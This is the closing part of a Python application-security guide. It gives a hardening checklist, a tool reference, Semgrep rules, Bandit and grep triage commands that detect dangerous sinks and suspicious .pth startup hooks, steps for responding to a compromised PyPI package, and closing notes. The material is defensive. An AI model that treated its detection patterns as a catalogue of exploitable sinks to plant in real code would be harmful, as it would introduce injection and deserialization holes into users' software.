18. Hardening Checklist

Application

  • Python version is in-support (3.11+, ideally 3.12/3.13).
  • Virtualenv or container isolates deps from system Python.
  • DEBUG / debug toolbars off in production.
  • No eval/exec/compile on user input (Bandit B102/B307 clean).
  • No pickle.load(s)/yaml.load on untrusted input (Bandit B301/B506 clean).
  • No subprocess(..., shell=True) with interpolation (Bandit B602/B605 clean).
  • All HTTP clients set timeouts.
  • verify=False not present (Bandit B501 clean).
  • cryptography/secrets/argon2 used, not random/md5/sha1 for security.
  • defusedxml for XML; json for interchange.
  • safe_load only for YAML.
  • tarfile/zipfile extraction uses member filtering.

Framework

  • Django: DEBUG=False, ALLOWED_HOSTS set, SECURE_* headers, CSRF on, PickleSerializer not used.
  • Flask: not app.run(debug=True), SECRET_KEY from secret manager, secure cookies.
  • FastAPI: response_model always set, JWT algorithms explicit, Pydantic extra="forbid".
  • Templates auto-escape on; no mark_safe/|safe on user input.
  • SSTI pattern render_template_string(user_input) absent.

Dependencies

  • requirements.txt / pyproject.toml locked with hashes.
  • pip install --require-hashes in CI.
  • SCA scanner enabled (pip-audit / Snyk / Aikido / Dependabot).
  • Malicious-package scanner (Phylum / Socket / Aikido SafeChain).
  • New packages age-gated (cool-off period).
  • Internal PyPI mirror for production dependencies.

CI/CD

  • GitHub Actions pinned to commit SHA, not tag.
  • Trusted Publishers (OIDC) for PyPI upload, not long-lived tokens.
  • Bandit + Semgrep run on every PR.
  • Secret scanning pre-commit (gitleaks / detect-secrets).
  • SBOM generated (cyclonedx-py or syft).
  • Build runs in ephemeral runners.
  • No secrets in build logs.

Runtime

  • Container runs as non-root.
  • Read-only filesystem where possible.
  • seccomp profile blocking uncommon syscalls.
  • Egress firewall / allow list.
  • No access to cloud metadata from app processes (IMDSv2 + hop limit 1, or egress blocked).
  • Structured logging to a SIEM.
  • .pth files audited: find . -name '*.pth' -print0 | xargs -0 grep -lE 'exec|base64|subprocess'.

19. Tool Reference

Code security

ToolScopeStrength
BanditPython AST patternsFast, zero-config, CI-friendly
SemgrepPattern + taintCustom rules in YAML
CodeQLFull dataflowDeepest analysis, slower
RuffLint + some securityFastest linter; S ruleset mirrors Bandit
Pyre / PysaTaint (Meta)Targets web frameworks
mypy / pyrightType checkingCatches type confusion bugs

Dependency & supply chain

ToolScope
pip-auditPyPA official CVE scanner
SafetyCommercial DB, free tier
SnykSCA + reachability + license
OWASP Dependency-CheckGeneric SCA
Phylum / SocketBehavioral package analysis
Aikido SafeChainCool-off + typosquat detection
cyclonedx-pySBOM generation

Runtime

ToolPurpose
PyInstaller + hardeningStatic binary minimization
FalcoRuntime syscall monitoring (K8s)
eBPF-based monitors (Tetragon, Tracee)Process/file/net tracking
AppArmor / SELinux / seccompSyscall confinement
gVisor / KataContainer sandboxing

Training & labs

  • PyGoat — Django OWASP Top 10 lab.
  • VulPy / vulpy — Deliberately vulnerable Flask apps.
  • OWASP Juice Shop (Node.js, but concepts transfer).
  • PortSwigger Web Security Academy — free framework-agnostic labs.

20. Detection Quick Reference

Semgrep patterns (defensive)

# Unsafe pickle load from HTTP
rules:
- id: flask-pickle-load
  pattern-either:
    - pattern: pickle.load(request.$X)
    - pattern: pickle.loads(request.$X)
    - pattern: pickle.load(io.BytesIO(request.$X))
  message: Insecure deserialization of HTTP request data
  severity: ERROR
  languages: [python]

- id: flask-yaml-unsafe-load
  patterns:
    - pattern-either:
        - pattern: yaml.load($X)
        - pattern: yaml.load($X, Loader=yaml.Loader)
  message: Use yaml.safe_load instead
  severity: WARNING

- id: requests-verify-false
  pattern: requests.$METHOD(..., verify=False, ...)
  severity: ERROR

- id: exec-on-request
  patterns:
    - pattern-either:
        - pattern: exec(request.$X)
        - pattern: eval(request.$X)
  severity: ERROR

Bandit quick commands

bandit -r src/                         # recursive
bandit -r src/ -ll                     # medium+ severity only
bandit -r src/ -f json -o out.json     # machine-readable
bandit -r src/ --skip B101,B601        # exclude specific checks
bandit -c bandit.yaml -r src/          # custom config (exclude test files)

Grep patterns for triage

# dangerous sinks
grep -rEn 'pickle\.loads?|yaml\.load\(|eval\(|exec\(|shell=True|verify=False' src/
# tarfile risk
grep -rEn 'tarfile\.open|\.extractall' src/
# hardcoded secrets heuristic
grep -rEn '(api[_-]?key|secret|token|password)\s*=\s*["'\'']' src/
# .pth startup hook audit
find / -name '*.pth' -exec grep -lE 'exec|base64|subprocess' {} \; 2>/dev/null

Incident triage for compromised package

If a malicious version was installed (e.g., litellm 1.82.7/1.82.8):

  1. Isolate the host from the network.
  2. Preserve ~/.config/, /tmp/, site-packages/, shell history, journalctl.
  3. Identify IoCs — file hashes, .pth files, systemd user services you didn’t create.
  4. Rotate all credentials the host had access to: SSH keys, cloud creds, git tokens, CI secrets, DB passwords, API keys, crypto wallets.
  5. Audit cloud — IAM activity logs, Secrets Manager / SSM Parameter Store access, new IAM users/roles.
  6. Audit Kubernetes — look for node-setup-* pods, new service accounts, privileged pods in kube-system, new DaemonSets.
  7. Rebuild the host from a clean image; do not attempt in-place cleanup.
  8. Retrospective — why did the compromised version land? Pin-by-SHA, require-hashes, cool-off period, trusted publishers, post-install scanning.

Common CodeQL sinks for Python

# Sinks
python.Deserialization.PickleLoad
python.Deserialization.YamlLoad
python.CommandInjection.ShellCommand
python.CodeInjection.Eval
python.SsrfSinks.Request
python.PathInjection.FileOpen
python.SqlInjection.RawCursor
# Sources
python.Flask.RequestSource
python.Django.RequestSource
python.FastAPI.RequestSource

Closing Notes

Python’s security posture in 2026 is dominated by three realities:

  1. The language has no safe default for code-reachable untrusted input. Pickle, eval, subprocess, yaml.load, tarfile — all have historical safe alternatives, but the unsafe ones remain one-character shorter and one line less typing. Every project needs a SAST backstop.

  2. Supply chain is now the highest-leverage attacker path. LiteLLM, Trivy, KICS, chimera-sandbox-extensions, telnyx, the PyTorch-nightly compromise, and the annual wave of typosquats all demonstrate that trust in PyPI is probabilistic, not absolute. Pin, hash, scan, cool-off, mirror.

  3. The AI/ML stack is a new attack surface with old bugs. Hydra instantiate, Langflow exec, torch.load pickle gadgets, and LangChain code-generating agents are 2005-era RCE patterns in 2026-era wrappers. The defenders’ tools (sandboxes, allow lists, content type validation, pinned model revisions) are the same as always — but have to be applied earlier in the pipeline than any team is used to.

Treat every dynamic dispatch, every deserializer, every format string, every subprocess call, and every third-party dependency as a promise you are making on behalf of your users. The secrets, json, argparse, pathlib, cryptography, defusedxml, tomllib, safetensors, and subprocess (list form) modules exist specifically so you can keep that promise. Use them.


Compiled from 81 clipped research articles in raw/Python/ — covering Python language security, stdlib CVEs, Flask/Django/FastAPI/Pyramid frameworks, Jinja2 SSTI, pickle/YAML/PLY/PickleScan deserialization, AI/ML model format RCEs (NeMo, Uni2TS, ml-flextok, Hydra), Langflow and LiteLLM incidents, PyPI supply chain campaigns (chimera-sandbox-extensions, telnyx, LiteLLM), static analysis tooling (Bandit, Semgrep, CodeQL), and OWASP Top 10 as applied to Django (PyGoat).